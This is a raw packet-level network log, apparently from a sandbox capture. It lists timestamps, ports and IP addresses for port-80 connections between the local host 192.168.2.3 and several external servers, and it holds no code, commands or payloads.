Oct 29, 2021 20:30:00.882134914 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882150888 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.882155895 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.882158041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882181883 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882209063 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882250071 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.882253885 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.887204885 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.920161009 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.963515997 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963546038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963567019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963613987 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963654995 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963660002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963670969 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963689089 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963700056 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963711023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963726997 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963728905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963745117 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963766098 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963784933 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963788986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963809967 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963831902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963833094 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963836908 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963854074 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963876009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963897943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963918924 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963939905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963963032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963964939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963968992 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.963984966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.963993073 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964010954 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964014053 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964062929 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964090109 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964101076 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964122057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964143038 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964167118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964180946 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964184999 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964189053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964198112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964221001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964243889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964266062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964277029 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964282036 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964287043 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964307070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964320898 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964329004 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964349985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964370966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964387894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964404106 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964409113 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964410067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964430094 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964451075 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964471102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964479923 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964483976 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964493036 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964517117 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964538097 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964560986 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964560986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964565039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964582920 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964603901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.964639902 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.964643002 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.971627951 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.971802950 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.971831083 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:01.045214891 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045241117 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045331955 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045528889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045555115 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045574903 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045597076 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045620918 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045644999 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045667887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045670986 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045677900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045698881 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045717955 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045737028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045774937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045782089 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045785904 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045814037 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045869112 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.045936108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045960903 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.045984983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046009064 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046010017 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046032906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046056032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046078920 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046093941 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046098948 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046103001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046125889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046147108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046168089 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046188116 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046189070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046191931 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046209097 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046228886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046247959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046267986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046274900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046278954 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046288967 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046310902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046331882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046354055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046355009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046359062 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046376944 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046397924 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046420097 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046441078 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046442032 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046447039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046464920 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046488047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046509981 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046530962 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046530962 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046535015 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046551943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046571970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046592951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046614885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046634912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046647072 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046649933 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046654940 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.046736956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.046741009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.113544941 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:01.127304077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127372026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127484083 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.127540112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127572060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127635956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.127700090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127825022 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127851963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127876043 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127885103 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.127901077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127924919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127948999 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127950907 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.127954960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.127970934 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.127994061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128017902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128057003 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.128062963 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.128829956 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128871918 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128897905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128923893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128947020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128968000 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.128972054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.128981113 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.128995895 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129019976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129026890 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129039049 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129100084 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129132986 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129158020 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129219055 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129234076 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.129244089 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129267931 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129292011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129292965 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.129316092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129324913 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129339933 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129363060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129383087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129386902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129410028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129420042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129435062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129460096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129468918 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129482985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129506111 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129515886 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129530907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129556894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129560947 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129580975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129605055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129628897 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129633904 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129647970 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129652977 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129705906 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.129710913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129734039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129757881 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129781008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129790068 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129806042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129828930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129837990 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129852057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129875898 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129888058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129899025 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129921913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.129933119 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.129940033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.129967928 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.131978989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.132026911 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.132042885 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.132061005 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.132097960 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.163549900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.208726883 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.208791018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.208842039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.208872080 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209186077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209217072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209244013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209270000 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209292889 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209295034 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209300041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209321022 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209347010 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209373951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209391117 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209394932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209402084 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209427118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209455013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209481955 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209496975 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209501028 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209506989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209532976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209558964 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209584951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209598064 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209602118 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209611893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209636927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209662914 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209690094 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209702015 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209707975 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209714890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209741116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209765911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209791899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209805012 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209809065 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209820032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209845066 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209870100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209897041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209908009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209911108 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.209922075 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209948063 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209971905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.209997892 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.210011959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.210015059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.210025072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.210050106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.210076094 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.210099936 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:01.210118055 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.210122108 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.215358019 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.220928907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.220966101 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221009016 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221090078 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221100092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221105099 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.221121073 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221141100 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.221147060 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221170902 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221172094 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.221195936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221215010 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.221261978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.221663952 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.250950098 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.251010895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.251054049 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.251096010 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.251096010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.251151085 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.252707005 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.252737045 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.252765894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.252785921 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.252892971 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.255851984 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.255887032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.256031990 CEST	49846	80	192.168.2.3	91.219.236.97
